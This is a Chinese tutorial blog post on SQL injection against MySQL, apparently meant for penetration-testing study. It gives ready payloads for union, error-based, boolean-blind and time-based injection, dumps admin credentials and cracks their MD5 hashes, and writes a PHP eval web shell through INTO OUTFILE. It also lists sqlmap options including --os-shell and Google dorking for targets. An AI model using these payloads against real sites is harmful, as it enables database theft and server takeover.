[渗透测试]:SQL注入

[渗透测试]:SQL注入

 
SQL
 
简介
 
SQL 结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言。
 
MYSQL    ACCESS    MSSQL    Oracle
 
明显的层次结构
 
库名|表名|字段名|字段内容
 
不过个中通信的数据库系统在其实践过程中独对SQL规范做了某些编改和扩充。所以实际上不同的数据库系统之间的SQL不能完全通用。
 
SQL注入(S)是一种常见的Web 安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击
 
SQL注入基础
 
漏洞原理
 
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。
 
其成因可归结为以下两个原理叠加造成:
 
1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。
 
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
 
*注入点可能的位置
 
根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要代入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:
 
@
GET 数据
@
POST 数据
@
HTTP头部(HTTP请求报文其他字段)
@
Cookie 数据
..    
 
GPC    
 
 
漏洞危害
 
攻击者利用SQL注入漏洞们可以获取数据库中的多中信息(如:管理员后台密码),从而脱取数据库中内容(脱库)。
 
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者就可以通过SQL注入漏洞直接获取webshell 或者服务器系统权限。
 
mof提权|udf提权
 
分类
 
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型和字符型。
 
·数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括
 
·字符型注入正好相反
 
根据注入手法分类,大致分为以下几个类别
 
@
联合查询
@
报错注入
@
布尔盲注
@
延时注入
@
堆叠查询
 
MYSQL相关
 
本次主要使用wamp环境,既然要探讨SQL 注入漏洞,需要对数据库有所了解,此处以mysql 为例,这里只起到抛砖引玉的作用,其他环境的注入,读者可以根据本次的思路去学习,唯一不同的只是数据库的特性
 
  • 注释
mysql 数据库的注释的大概有以下几种
 
    #
 
    -- (杠杠空格)
 
    /* … */
 
    /*! … */ 内联查询
 
  • mysql 元数据数据库information_schema
information_schema数据库中的几个关键的表
 

image

  • mysql 常用的函数与参数
show databases; #查看数据库
 
use information_schema; #转到数据库information_schema
 
show tables; #查看当前数据库中的数据表
 
=|>|>=|<=|<>
比较运算符
select 1<>2;
and|or
逻辑运算符
select 1 and 0;
version()
mysql 数据库版本
select version();
database()
当前数据库名
select database();
user()
用户名
select user();
current_user()
当前用户名
select current_user();
system_user()
系统用户名
select system_user();
@@datadir
数据库路径
select @@datadir;
@@version_compile_os
操作系统版本
select @@version_compile_os;
length()
返回字符串长度
select length('ffdfs');
select length(version());
substring()
截取字符串(三个参数)
select substring("dhffjf",2,2);
substr()
1、截取的字符串
2、截取的起始位置,从1开始
select substr("version()",2);
select substr(version(),2,10);
mid()
3、截取长度
select mid(' select ',2,6);
left()
从左侧开始去指定字符个数的字符串
select left('adc',2);
select left(version(),2);
concat()
没有分隔符的连接字符串
select concat('a','b','c');
concat_ws()
含有分隔符的连接字符串
select concat_ws('/','a','b','c');
| a/b/c                      |
group_concat()
连接一个组的字符串
select group_concat(id) from users;
ord
返回ASCII码
select ord('a');
ascii()
ascii编码
select ascii('a');
hex()
将字符串转换为十六进制
select hex('a');
unhex()
hex 的反向操作
select unhex(61);
md5()
返回MD5 值
select md5('123456');
floor(x)
返回不大于x 的最大整数
 
round()
返回参数x 接近的整数
 
rand()
返回0-1 之间的随机浮点数
select rand();
load_file()
读取文件,并返回文件内容作为一个字符串
 
sleep()
睡眠时间为指定的秒数
select sleep(5);
if(true,t,f)
if判断
select if(true,1,0);
select if(false,1,0);
find_in_set()
返回字符串在字符串列表中的位置
 
benchmark()
指定语句执行的次数
 
name_const()
返回表作为结果
 
 
  • 逻辑运算
在SQL 语句中逻辑运算与(and)比或(or)的优先级要高。
 
[select 1=2 and 1=2 or 1=1--+]
 
注入流程
 
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序。
 
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。
 
SQL 注入
 
御剑扫描网站后台
 
SQL 注入点的判断
 
    @   ?id=34    +/- 1
 
    select * from tbName where id = $id
 
 
    @   ?id=35'    字符型还是数字型
 
    报错:near ''' at line 1
 
    select * from tbName where id = 35'
 
 
    @   测试页面是否有布尔类型的状态
 
    ?id=35 and 1=1
 
    ?id=35 and 1=2
 
    select * from tbName where id=35 and 1=1
 
    select * from tbName where id=35 and 1=2
 
 
    @   ?id=35 and sleep(4)      是否有延时
 
联合查询
 
由于数据库中的内容会回显到页面中,所以我们可以采用联合查询进行注入。
 
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句。
 
生成两张虚拟表,然后把查询到的结果进行拼接。
 
select ~~~~ union select ~~~~
 
由于虚拟表时二维机构,联合查询会“纵向”拼接两张虚拟表
 
    实现跨库|跨表查询
 
必要条件
 
@ 两张虚拟的表具有相同的列数
 
@ 虚拟表对应的数据类型相同
 
*判断字段个数
 
可以使用[order by] 语句来判断当前select 语句所查询的虚拟列表的列数。
 
[order by] 语句本意时按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1] 就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unkown column].我们可以依次增加数字,知道数据库报错。
 
判断显示位置
 
得到字段个数之后,可以尝试构造联合查询语句
 
这里我们并不知道表名,根据mysql 数据库的特性,select 语句执行过程中,并不需要指定表名。。
 
    [?id=33 union select 1,2,3,4,5,6,7,8,9,10--+]
 
    [?id=33 union select null,null,null,null,null,null,null,null--+]
 
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:
 
    [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
 
    [?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
 
可以使用火狐浏览器的插件hackbar(或使用免费的Max Hackbar 插件)
 
就会发现我们的第二张虚拟表就会显示出来
 
注:显示出来的数据的地方对应的数字就是我们将来插入语句的地方。
 
数据库版本
 
我们可以将数字3 用函数[version()] 代替,即可得到数据库版本.
 
当前数据库名
 
[database()]
 
数据库中的表
 
我们可以通过查询information_schema.tables 来获取当前数据库的数据表
 
group_concat(table_name) … from information_schema.tables where tables_schema = database()
 
数据库报错
 
考虑用16进制(hex())函数将字符串转化为数字。
 
[hex(group_concat(tables_name))]
 
得到16进制编码后的字符串
 
解码
 
管理员账户密码可能存在cms_users 表中
 
表中字段
 
… [hex(group_concat(tables_name))] … from information_schema.cloumns where table_schema = database() table_name='cms_users'--+]
 
得到结果:userid, username, password
 
字段内容
 
查询表中数据
 
… count(*) … from cms_users
 
查询表中数据
 
… hex(concat(username,':',password)) … from cms_users
 
得到的后台管理员账户密码,但是是MD5加密之后的,
 
可以在线查询,网址:
 
    https://www.cmd5.com/
 
    https://www.somd5.com/(免费)
 
报错注入
 
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
 
报错注入原理
 
就是在错误信息中执行SQL语句。触发报错的方式有很多,具体细节,也不尽相同,建议背公式即可。
 
*group by 重复键冲突
 
有一定的成功率,可能成功,也可能不成功
 
[… and (select 1 from (select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+]
 
    SQL 语句解析过程
 
    from 后面的表标识了这条语句要查询的数据源
 
    from 过程之后会形成一个虚拟的表VT1.
 
    # where
 
    where 对VT1 过程中生成的临时表进行过滤,满足where 子句的列被插入到VT2 .
 
    # group by
 
    group by 会把VT2 生成的表按照group by 中的列进行分组,生成 VT3
 
    # having
 
    having 这个group by 的子句对VT3 表中的不同分组进行过滤,满足having 条件的子句被加入到VT4 表中。
 
    # select
 
    select 这个子句对select 子句中的元素进行处理,生成VT5
 
    计算select 子句中的表达式,生成VT5.1
 
    distinct 删除VT5.1表中的重复列,生成VT5.2
 
    top 从order by 子句中定义的结果中,删选出符合条件的列,生成VT5.3
 
    # order by
 
    order by 从VT5.3 中的表,根据子句中的结果进行排序,生成VT6
 
*XPATH报错
 
@ extractvalue()
 
[… and extractvalue(1,concat('^',(select version()),'^'))--+]
 
@ updatexml()
 
[… and updatexml(1,concat('^',(select version()),'^'))--+]
 
布尔盲注
 
原理
 
利用页面返回的布尔类型状态,正常或者不正常
 
获取数据库名
 
@ 数据库名长度
 
[… and length(database())=1--+]
 
 
[… and length(database())=3--+]
 
 
@ 数据库名
 
[… and ascii(substr(database(),1,1))=99--+]
 
由此可知数据库名的第一个字母的ASCII 码是99,即字母C
 
延时注入
 
利用sleep() 语句的延时性,以时间线作为判断条件
 
获取数据库名
 
@ 获取数据库名长度
 
[.. and if((length(database())=3),sleep(5),1)--+]
 
 
@ 数据库名第二位
 
[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]
 
--------
    口诀
 
    是否有回显           联合查询
 
    是否有报错           报错注入
 
    是否有布尔类型状态   布尔盲注
 
    绝招                 延时注入
 
 --------
 
sqlmap
 
全自动
 
-------
get注入
-u "url"
检测注入点
--dbs
列出所有数据库的名字
--current-db
列出当前数据的名
-D
指定一个数据库
--tables
列出表名
-T
指定表名
--columns
列出所有字段名
-C
指定字段
--dump
列出字段内容
----------
 
post注入
-r post.txt
从文件中读入http请求
--os-shell
获取shell
sqlmap -g "inurl:php?id="
利用google 自动搜索注入点
 
---------
 
携带cookie 的认证
 
要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
 
--cookie ""
 
SQL 注入文件读写
 
前提条件
 
我们使用SQL 注入漏洞文件读写文件。但是读写文件需要一定的条件。
 
1.secure-file-priv
 
可以再phpmyadmin 中查看变量
 
该参数再高版本的mysql 数据库中限制了文件的导入导出。
 
改参数可以写在my.ini 配置文件,并重启mysql 服务。
 
打开C:\phpStudy\MySQL\my.ini 配置文件,在[mysqld]下添加 secure-file-priv
 
关于该参数的相关说明
 
secure-file-priv 参数配置
含义
secure-file-priv=
不对mysqld 的导入导出操作做限制
secure-file-priv='c:/a/'
限制mysqld 的导入导出操作发生 在c:/a/ 下(子目录有效)
secure-file-priv=null
限制mysqld 不允许导入导出操作
 
2. 当前用户具有文件权限
 
查询语句[select File_priv from mysql.user where user="root" and host="localhost"--+]
 
3.知道要写入的目标文件的绝对路径
 
*读取文件操作
 
    [… union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+]
 
    load_file('')
 
    C:\\Windows\\System32\\drivers\\etc\\hosts
 
    C:/Windows/System32/drivers/etc/hosts
 
    两种路径都可以
 
*写入文件操作
 
   [… union select 1,'<?php @eval($_REQUESTS[777]);?d>',3 into outfile 'c:\\phpstudy\\www\\2.php'  ]
 
    如果页面不报错,说明写入成功。可以直接访问写入文件[http://localhost/1.php]
 
    into outfile

 
其他注入方式
 
宽字节注入
 
我们通过sqli-labs 第32关来测试
 
使用[?id=1],页面有回显,使用联合注入查询
 
使用[?id=1']测试的时候,会发现单引号被[\]转移,
 
测试网站的编码是GBK编码,其采用双字节编码范围,GBK的编码范围,
 
8140-FEFE(高字节从81到FE,低字节从40到FE)
 
我们可以在单引号之前提交一个十六进制的字符,与5c(也就是字符\)组成以一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK汉字的低字节位,从而失去转义的作用。
 
我们可以提交[?id=1000%df' union select 1,2,3--+],就可以使用联合查询注入了
 
不仅仅是[df],在高字节范围之内的都可以
 
Cookie 注入
 
我们使用sqli-labs 第20关来说明Cookie 注入的问题
 
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie]
 
在控制台完成对浏览器Cookie 的读写。
 
来到第20关,
 
*在控制台输入
 
[document.cookie="uname =Dumb' and extractvalue(1,concat(0x7e,database(),0x7e),1)#"]
 
*在bp中提交
 

image

 
base64 注入
 
我们以sqli-labs 第22关来说明base64 注入的问题
 
base注入 就是将注入的字段经过base64 编码,
 
发现22 关是输入Cookie 型的base64 注入,使用报错注入手法
 
uname =Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)#
 
base64 编码之后:
 
RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=
 

image

 
HTTP 头部注入
 
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等
 
* User-Agent 注入
 
如sqli-labs 第18关
 
payload
 
[User-Agent:hacker' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1]
 

image

 
*Referer 注入
 
第19 关,注入字段在Referer 中
 
[hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1]
 

image

 
posted @ 2021-06-23 12:08  jpSpaceX  阅读(325)  评论(0编辑  收藏  举报